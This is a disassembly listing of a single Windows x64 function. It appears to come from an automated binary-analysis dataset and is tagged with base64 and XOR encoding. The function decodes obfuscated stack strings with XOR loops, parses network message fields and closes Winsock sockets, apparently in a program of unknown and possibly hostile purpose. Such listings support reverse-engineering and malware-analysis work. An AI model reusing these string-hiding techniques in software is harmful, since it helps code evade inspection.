Function at 0x1400067c0
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
movaps xmmword [rsp + 0x4c0], xmm6
mov rax, qword [0x140554040]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov rsi, rdx
mov qword [rbp + 0x10], rdx
mov r13, rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x180], rdx
xor r14d, r14d
mov r15d, r14d
mov dword [rsp + 0x78], r14d
cmp qword [rdx + 0x18], r14
je 0x1400086f6
cmp qword [rdx + 0x38], r14
je 0x1400086f6
lea r12, [rdx + 8]
mov rdx, r12
lea rcx, [rbp + 0x300]
call fcn.140017c30
nop
movzx eax, byte [rsi + 1]
cmp al, 3
jne 0x1400074f6
lea r15, [rsi + 0x28]
mov rcx, qword [r13]
add rcx, 0x460
mov rdx, r15
call fcn.140017a00
nop
mov byte [rbp + 0x1c8], r14b
xor edx, edx
lea rcx, [rbp + 0x1d0]
call fcn.140019f40
nop
lea rax, [rbp + 0x18]
mov qword [rsp + 0x70], rax
mov rbx, qword [r13]
xor eax, eax
mov qword [rbp + 0x20], rax
mov byte [rbp + 0x18], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
mov rdi, rax
lea rax, [rbp + 0x188]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
nop word [rax + rax]
inc r8
cmp byte [rbx + r8 + 0xd8], 0
jne 0x1400068e0
lea rdx, [rbx + 0xd8]
mov rcx, rdi
call fcn.140001d60
nop
mov qword [rbp + 0x20], rdi
movsd xmm0, qword [0x140530850]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140530858]
mov byte [rsp + 0x50], 0x67
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor al, 0x3f
mov byte [rsp + 0x58], al
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c8]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x18]
mov byte [rax], cl
mov byte [rbp + 0x18], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x20]
mov qword [rax + 8], rdx
mov qword [rbp + 0x20], rcx
movzx edx, byte [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.140019120
lea rax, [rbp + 0x28]
mov qword [rsp + 0x70], rax
mov rbx, qword [r13]
xor eax, eax
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x28], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
mov rdi, rax
lea rax, [rbp + 0x189]
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
xor esi, esi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
mov r8, r14
nop dword [rax]
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8 + 0x1d7], sil
jne 0x1400069e0
lea rdx, [rbx + 0x1d7]
mov rcx, rdi
call fcn.140001d60
nop
mov qword [rbp + 0x30], rdi
movsd xmm0, qword [0x140530550]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [0x140530558]
mov byte [rsp + 0x60], 0x67
xor byte [rsp + 0x61], 0x38
xor byte [rsp + 0x62], 0x39
xor byte [rsp + 0x63], 0x3a
xor byte [rsp + 0x64], 0x3b
xor byte [rsp + 0x65], 0x3c
xor byte [rsp + 0x66], 0x3d
xor byte [rsp + 0x67], 0x3e
xor al, 0x3f
mov byte [rsp + 0x68], al
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1c8]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x28]
mov byte [rax], cl
mov byte [rbp + 0x28], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x30]
mov qword [rax + 8], rdx
mov qword [rbp + 0x30], rcx
movzx edx, byte [rbp + 0x28]
lea rcx, [rbp + 0x30]
call fcn.140019120
lea rax, [rbp + 0x38]
mov qword [rsp + 0x70], rax
mov rbx, qword [r13]
xor eax, eax
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x38], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
mov rdi, rax
lea rax, [rbp + 0x1b2]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
mov r8, r14
inc r8
cmp byte [rbx + r8 + 0x209], 0
jne 0x140006ad1
lea rdx, [rbx + 0x209]
mov rcx, rdi
call fcn.140001d60
nop
mov qword [rbp + 0x40], rdi
movups xmm0, xmmword [0x140530840]
movups xmmword [rbp + 0xa0], xmm0
mov esi, dword [0x140554008]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140006c90
cmp esi, 2
jl 0x140006c52
movdqa xmm5, xmmword [0x140534190]
xor edx, edx
movdqa xmm4, xmmword [0x140534350]
movdqa xmm6, xmmword [0x1405341f0]
movdqa xmm0, xmmword [0x1405342f0]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp - 0x80]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140006b53
jmp 0x140006c90
lea r9, [rbp + 0xa0]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140006c60
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1c8]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x38]
mov byte [rax], cl
mov byte [rbp + 0x38], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x40]
mov qword [rax + 8], rdx
mov qword [rbp + 0x40], rcx
movzx edx, byte [rbp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140019120
lea rax, [rbp]
mov qword [rsp + 0x70], rax
mov rbx, qword [r13]
xor eax, eax
mov qword [rbp + 8], rax
mov byte [rbp], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
mov rdi, rax
lea rax, [rbp + 0x1b1]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
mov r8, r14
inc r8
cmp byte [rbx + r8 + 0x308], al
jne 0x140006d21
lea rdx, [rbx + 0x308]
mov rcx, rdi
call fcn.140001d60
nop
mov qword [rbp + 8], rdi
movsd xmm0, qword [str.ZZfWTXXR_]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x140530818]
mov byte [rsp + 0x40], WSAGetLastError
xor byte [rsp + 0x41], 0x38
xor byte [rsp + 0x42], 0x39
xor byte [rsp + 0x43], 0x3a
xor byte [rsp + 0x44], 0x3b
xor byte [rsp + 0x45], 0x3c
xor byte [rsp + 0x46], 0x3d
xor byte [rsp + 0x47], 0x3e
xor al, 0x3f
mov byte [rsp + 0x48], al
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1c8]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp]
mov byte [rax], cl
mov byte [rbp], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 8]
mov qword [rax + 8], rdx
mov qword [rbp + 8], rcx
movzx edx, byte [rbp]
lea rcx, [rbp + 8]
call fcn.140019120
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x70], rax
mov rbx, qword [r13]
xor eax, eax
mov qword [rbp + 0x1c0], rax
mov byte [rbp + 0x1b8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
mov rdi, rax
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rbx + r8 + 0x407], al
jne 0x140006e20
lea rdx, [rbx + 0x407]
mov rcx, rdi
call fcn.140001d60
nop
mov qword [rbp + 0x1c0], rdi
movups xmm0, xmmword [str.ZZfINT_S.4___7FPHLeITZ_]
movups xmmword [rbp + 0x1a0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
xor edi, edi
test al, al
je 0x140006fe0
cmp esi, 2
jl 0x140006f9f
movdqa xmm5, xmmword [0x140534190]
mov edx, edi
movdqa xmm4, xmmword [0x140534350]
movdqa xmm6, xmmword [0x1405341f0]
movdqa xmm0, xmmword [0x1405342f0]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x1a4]
mov r8d, dword [rbp - 0x80]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140006ea0
jmp 0x140006fe0
lea r9, [rbp + 0x1a0]
mov r8d, edi
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140006fb0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1c8]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x1b8]
mov byte [rax], cl
mov byte [rbp + 0x1b8], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x1c0]
mov qword [rax + 8], rdx
mov qword [rbp + 0x1c0], rcx
movzx edx, byte [rbp + 0x1b8]
lea rcx, [rbp + 0x1c0]
call fcn.140019120
nop
mov byte [rbp + 0x190], 0
xor edx, edx
lea rcx, [rbp + 0x198]
call fcn.140019f40
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1c8]
call fcn.1400174c0
mov rbx, rax
xor eax, eax
mov qword [rbp - 0x78], rax
mov byte [rbp - 0x80], 3
lea ecx, [rax + 0x20]
call fcn.1400e9cb0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov qword [rbp - 0x78], rax
mov eax, dword [str._OP_]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x1405307fc]
mov byte [rsp + 0x30], 0x68
xor byte [rsp + 0x31], 0x38
xor byte [rsp + 0x32], 0x39
xor byte [rsp + 0x33], 0x3a
xor al, 0x3b
mov byte [rsp + 0x34], al
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x190]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x80]
mov byte [rax], cl
mov byte [rbp - 0x80], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x78]
mov qword [rax + 8], rdx
mov qword [rbp - 0x78], rcx
movzx edx, byte [rbp - 0x80]
lea rcx, [rbp - 0x78]
call fcn.140019120
nop
lea rcx, [rbp + 0x110]
call fcn.140001cd0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x70], rax
mov rax, qword [r13]
mov byte [rbp - 0x10], 0
xor ecx, ecx
mov qword [rbp - 8], rcx
movzx eax, word [rax + 0x550]
mov byte [rbp - 0x10], 6
mov qword [rbp - 8], rax
mov eax, dword [str.A_K:xLS_]
mov dword [rsp + 0x38], eax
cmp byte [0x140524a67], cl
je 0x140007210
cmp esi, 2
jl 0x1400071d8
movdqa xmm3, xmmword [0x140534190]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140534350]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140534350]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1405342f0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x38], xmm2
jmp 0x140007210
lea r9, [rsp + 0x38]
mov r8d, edi
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400071e0
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x190]
call fcn.14001a7d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x10]
mov byte [rax], cl
mov byte [rbp - 0x10], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 8]
mov qword [rax + 8], rdx
mov qword [rbp - 8], rcx
movzx edx, byte [rbp - 0x10]
lea rcx, [rbp - 8]
call fcn.140019120
mov rsi, qword [r13]
lea rcx, [rsi + 0x460]
cmp qword [rsi + 0x478], 0xf
jbe 0x140007267
mov rcx, qword [rsi + 0x460]
mov rax, qword [rsi + 0x470]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rax
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x190]
call fcn.1400174c0
nop
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000729a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rax
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x1e0], xmm0
movaps xmm1, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x370], xmm1
mov ebx, 1
mov dword [rsp + 0x20], ebx
lea r9, [rbp + 0x1e0]
xor r8d, r8d
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x50]
call fcn.140003860
nop
mov r13, qword [rax + 0x18]
test r13, r13
je 0x140007365
cmp qword [rax + 0x38], 0
je 0x140007365
lea rdi, [rax + 8]
cmp qword [rdi + 0x18], 0xf
jbe 0x14000730c
mov rdi, qword [rdi]
mov rsi, qword [rsi + 8]
test rsi, rsi
je 0x14000735c
test rdi, rdi
je 0x14000735c
test r13d, r13d
js 0x14000735c
mov rax, qword [rsi + 0x530]
test rax, rax
je 0x140007342
mov r8d, ebx
mov edx, 8
mov rcx, rsi
call rax
mov dword [rsi + 0x538], 8
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call fcn.140098540
mov ebx, eax
test eax, eax
cmovs ebx, r14d
xor edi, edi
jmp 0x140007367
mov ebx, 0xffffff53
xor edi, edi
jmp 0x140007367
mov ebx, edi
lea rax, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rax, qword [rbp + 0x58]
mov qword [rbp + 0x68], rdi
mov byte [rax], 0
lea rax, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rax, qword [rbp + 0x78]
mov qword [rbp + 0x88], rdi
mov byte [rax], 0
mov byte [rbp + 0x51], 0xff
lea rcx, [rbp + 0x78]
call fcn.140001cd0
lea rcx, [rbp + 0x58]
call fcn.140001cd0
nop
lea rcx, [rbp - 0x60]
call fcn.140001cd0
test ebx, ebx
jg 0x1400074c3
mov rbx, qword [rbp - 0x70]
mov rax, qword [rbx]
mov dword [rax + 0x20], 0x1627
lea rcx, [rsp + 0x70]
call fcn.1400020f0
movabs rcx, 0x7ffffffed5fa0dff
mov rax, qword [rsp + 0x70]
cmp rax, rcx
jge 0x1400073fe
movabs rcx, 0x12a05f200
add rcx, rax
mov qword [rbp - 0x70], rcx
jmp 0x14000740c
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x70]
call fcn.140023800
mov rbx, qword [rbx]
mov eax, edi
xchg byte [rbx + 4], al
cmp qword [rbx + 8], 0
je 0x14000744b
movsxd rcx, dword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 8]
call fcn.140075a20
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140007444
call fcn.140089c00
mov dword [rbx], r14d
mov qword [rbx + 8], rdi
movzx edx, byte [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.140019120
nop
movzx edx, byte [rbp + 0x1c8]
lea rcx, [rbp + 0x1d0]
call fcn.140019120
nop
lea rcx, [rbp + 0x300]
call fcn.140001cd0
nop
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000748f
mov rax, qword [r12]
mov qword [r12 + 0x10], rdi
mov byte [rax], 0
mov rax, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x1400074a4
mov rax, qword [r15]
mov qword [r15 + 0x10], rdi
mov byte [rax], 0
mov rax, qword [rbp + 0x10]
mov byte [rax + 1], 0xff
mov rcx, r15
call fcn.140001cd0
mov rcx, r12
jmp 0x140008731
movzx edx, byte [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.140019120
nop
movzx edx, byte [rbp + 0x1c8]
lea rcx, [rbp + 0x1d0]
call fcn.140019120
mov rsi, qword [rbp + 0x10]
xor r14d, r14d
jmp 0x1400086b5
cmp al, 2
jne 0x140007598
mov qword [rbp + 0x88], r14
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1a0]
call fcn.14001a6a0
nop
mov eax, dword [str.DLXNNO]
mov dword [rsp + 0x30], eax
movzx ecx, word [0x140524a60]
mov word [rsp + 0x34], cx
movzx eax, byte [0x140524a62]
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x31], 0x38
xor byte [rsp + 0x32], 0x39
xor byte [rsp + 0x33], 0x3a
xor cl, 0x3b
mov byte [rsp + 0x34], cl
xor byte [rsp + 0x35], 0x3c
xor al, 0x3d
mov byte [rsp + 0x36], al
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.14001a7d0
mov rcx, rax
call fcn.14001ad40
mov rcx, qword [r13]
mov dword [rcx + 0x20], eax
movzx edx, byte [rbp + 0x1a0]
lea rcx, [rbp + 0x1a8]
call fcn.140019120
jmp 0x1400086b5
cmp al, 5
jne 0x14000849e
mov qword [rbp + 0x88], r14
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1b8]
call fcn.14001a6a0
nop
lea rdx, str.result
lea rcx, [rbp + 0x1b8]
call fcn.14001a7d0
mov rcx, rax
call fcn.14001ad40
mov rcx, qword [r13]
mov dword [rcx + 0x1c], eax
mov rax, qword [r13]
cmp dword [rax + 0x1c], 0xf063
jne 0x140008486
mov eax, dword [str.PYT_H_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140530820]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], 0x67
xor byte [rsp + 0x31], 0x38
xor byte [rsp + 0x32], 0x39
xor byte [rsp + 0x33], 0x3a
xor al, 0x3b
mov byte [rsp + 0x34], al
xor byte [rsp + 0x35], 0x3c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1b8]
call fcn.14001a7d0
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140017750
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea r8, [rbp + 0x190]
movdqu xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movdqu xmmword [rbp - 0x48], xmm0
movabs rdi, 0x8000000000000000
mov qword [rbp - 0x40], rdi
movzx ecx, byte [r8]
mov edx, ecx
mov ebx, 1
sub edx, ebx
je 0x1400076e4
cmp edx, ebx
je 0x1400076d7
test ecx, ecx
je 0x1400076d1
sub ecx, ebx
je 0x1400076e4
cmp ecx, ebx
je 0x1400076d7
mov qword [rbp - 0x40], r14
jmp 0x1400076f2
mov qword [rbp - 0x40], rbx
jmp 0x1400076f2
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov qword [rbp - 0x50], rcx
jmp 0x1400076f2
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x200], r8
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rbp + 0x208], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp + 0x218], xmm1
mov qword [rbp + 0x228], r14
mov qword [rbp + 0x230], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], r14
mov qword [rbp + 0x250], r14
mov r8, rbx
lea rdx, [0x14052392c]
lea rcx, [rbp + 0x238]
call fcn.140001d60
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], r14
xor r8d, r8d
lea rdx, [0x1405230e8]
lea rcx, [rbp + 0x258]
call fcn.140001d60
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], rax
lea r8, [rbp + 0x190]
movdqu xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x40], rdi
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x140007802
cmp edx, 1
je 0x1400077f4
sub ecx, 1
je 0x140007802
cmp ecx, 1
je 0x1400077f4
mov qword [rbp - 0x40], rbx
jmp 0x14000780d
mov rax, qword [r8 + 8]
mov rcx, qword [rax + 8]
mov qword [rbp - 0x50], rcx
jmp 0x14000780d
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov qword [rbp - 0x58], rcx
mov qword [rbp + 0x280], r8
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp + 0x298], xmm1
mov qword [rbp + 0x2a8], r14
mov qword [rbp + 0x2b0], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
mov qword [rbp + 0x2c8], r14
mov qword [rbp + 0x2d0], r14
mov r8, rbx
lea rdx, [0x14052392c]
lea rcx, [rbp + 0x2b8]
call fcn.140001d60
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r14
mov qword [rbp + 0x2f0], r14
xor r8d, r8d
lea rdx, [0x1405230e8]
lea rcx, [rbp + 0x2d8]
call fcn.140001d60
nop
mov rbx, qword [rbp + 0x200]
cmp rbx, qword [rbp + 0x280]
jne 0x1400087f9
mov r8, qword [rbp + 0x228]
mov edi, dword [0x140554008]
movabs r10, 0xcccccccccccccccd
movzx ecx, byte [rbx]
mov edx, ecx
sub edx, 1
je 0x1400078ef
cmp edx, 1
je 0x1400078df
mov rax, qword [rbp + 0x2a0]
cmp qword [rbp + 0x220], rax
jmp 0x1400078fd
mov rax, qword [rbp + 0x290]
cmp qword [rbp + 0x210], rax
jmp 0x1400078fd
mov rax, qword [rbp + 0x288]
cmp qword [rbp + 0x208], rax
setne al
test al, al
je 0x140008430
mov edx, ecx
sub edx, 1
je 0x1400079c1
cmp edx, 1
je 0x140007924
lea rsi, [rbp + 0x258]
jmp 0x1400079d5
cmp r8, qword [rbp + 0x230]
je 0x1400079b8
lea r9, [rbp + 0x385]
nop dword [rax + rax]
dec r9
mov rax, r10
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140007940
lea r8, [rbp + 0x385]
mov rdx, r9
lea rcx, [rbp + 0x1e0]
call fcn.140023500
or r15d, 0xc
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x238]
call fcn.140017a90
lea rcx, [rbp + 0x1e0]
call fcn.140001cd0
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x230], rax
mov rbx, qword [rbp + 0x200]
lea rsi, [rbp + 0x238]
jmp 0x1400079d5
cmp cl, 1
jne 0x140008918
mov rsi, qword [rbp + 0x208]
add rsi, 0x20
movzx ecx, byte [rbx]
test ecx, ecx
je 0x1400088e4
sub ecx, 1
je 0x140007a03
cmp ecx, 1
je 0x1400079fa
cmp qword [rbp + 0x220], 0
jne 0x1400087bf
jmp 0x140007a0e
mov rbx, qword [rbp + 0x210]
jmp 0x140007a0e
mov rbx, qword [rbp + 0x208]
add rbx, 0x40
